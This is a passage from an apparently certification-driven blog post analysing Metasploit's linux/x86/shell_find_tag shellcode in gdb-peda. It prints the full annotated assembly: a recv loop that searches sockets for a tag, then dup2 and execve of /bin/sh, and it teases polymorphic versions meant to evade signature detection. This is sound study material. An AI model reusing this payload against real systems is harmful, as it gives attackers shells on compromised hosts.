3. linux/x86/shell_find_tag
As per the shellcode’s description, the payload spawns a shell on an established connection. Let’s take a look at the options.

The two mandatory options are TAG and MeterpreterDebugLevel. Since we aren’t dealing with a meterpreter shell in here, we can leave it to its default state. For the option tag, let’s state it to SLAE and generate our payload and take a quick high level look by running it through ndisasm.

Alright, we can see three interrupts happening at 16, 29 and 43 and the values in EAX at the time of interrupt calls are 102, 63 and 11 which refer to socketcall, dup2 and execve respectively. If we recollect, this pattern is similar to what we have observed while spawning a shell. The only logic we need to understand is the “tag search” logic. Let’s dive into the shellcode with gdb-peda.
We will use a C harness and generate an executable to perform our analysis just like what we did for previous two cases. Below I have loaded the executable in gdb-peda and set up a breakpoint at the beginning of the actual shellcode. What we observe are the following instructions:
xor ebx,ebx ; Clearing out the ebx register
push ebx ; Pushing EBX on the stack
mov esi,esp ; Moving stack pointer which is pointing to 0x0
push 0x40 ; Pushing 0x40 on the stack
mov bh,0xa ; Pushing 0xa in the higher byte of EBX. EBX = 0xa00
push ebx ; Pushing EBX on the stack (0xa00)
push esi ; Pushing ESI on the stack (0x0)
push ebx ; Pushing EBX on the stack (0xa00)
mov ecx,esp ; Moving stack pointer in ECX
xchg bl,bh ; Exchanging bh with bl. EBX = 0xa
From the looks of it, it appears to be a stack setup for arguments to a certain syscall. Moving further, I have used the stepuntil command to step until the first interrupt call.

Alright, so as we can see, the stack is loaded with the arguments to a socketcall which in this case is recv as EBX currently contains 0xa (10).

And naturally, as per the socketcall syscall convention, ECX must point to the arguments of the actual call that is to be invoked (recv in this case) which we can see in the address pointed by ECX.
recv syscall - ssize_t recv(int sockfd, void *buf, size_t len, int flags);
payload equivalent - recv(0xa01, *0xbff23c, 0xa00, 0x40)
Moving further in the disassembly, we can observe that a compare operation is performed which checks “SLAE” (reversed little-endian format) against the bytes pointed by ESI and if not found increments the sockfd byte (0xa01) by one and again calls the syscall. This would run in a loop until the tag “SLAE” matches with our buffer pointed at an address to store the recevied bytes for the receive syscall (*0xbff23c) as seen in Fig (1).

The disassembly is explained below:
inc_socket:
inc WORD PTR [ecx] ; EBX = 0xa01
push 0x66 ; Pushing 102 on the stack
pop eax ; Popping the value in EAX. EAX = 102 (socketcall)
int 0x80 ; Call to syscall Socketcall (EBX = 10 = sys_recv)
cmp DWORD PTR [esi],0x45414c53 ; Comparing "EALS" with the buffer
jne inc_socket ; Jump to label inc_socket if tag not found
; If tag found, store sockfd and pass it to dup2 calls
pop edi ; If tag found, pop (socket file descriptor) in EDI
mov ebx,edi ; Move the (socket file descriptor) in EBX to execute dup2 syscall
push 0x2 ; Pushing 2 on top of the stack as a start point of dup2 iterator
pop ecx ; Popping 2 in ECX
dup2_iterator:
push 0x3f ; Pushing 63 (dup2 syscall) on the stack
pop eax ; Loading 63 in EAX for syscall invocation
int 0x80 ; Calling syscall dup2
dec ecx ; Decrementing ECX. ECX = 1
jns dup2_iterator ; Jump to label until we hit signed flag (-1)
; Execve syscall (spawning shell)
push 0xb ; Pushing 11 on the stack (execve syscall)
pop eax ; Popping 11 in EAX. EAX = 11
cdq ; Clearing out EDX register
push edx ; Pushing null on the stack
push 0x68732f2f ; Pushing "//sh" on the stack (reverse little endian)
push 0x6e69622f ; Pushing "/bin" on the stack (reverse little endian)
mov ebx,esp ; Moving stack pointer (//bin/sh NULL) in EBX
push edx ; Pushing EDX (Null) on the stack
push ebx ; Pushing EBX (Null terminated binary to execute)
mov ecx,esp ; Moving stack pointer to ECX (//bin/sh NULL)
int 0x80 ; Calling syscall execve
Once the bytes have been matched, as seen above, the control will pass to executing dup2 calls iterating stdin, stdout and stderror and lastly spawning a shell using execve syscall.
To conclude, this shellcode will search for existing socket connections on the system and attempt to match the user-supplied flag until a match is found. Once the flag is found, it will use the socket file descriptor of the found socket and use the same to spawn a shell. Amazing!
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: PA-14690
In the next blog post, we will take three shellcodes uplaoded by professional on shell-storm and make a Polymorphic version of the same to beat signature matching.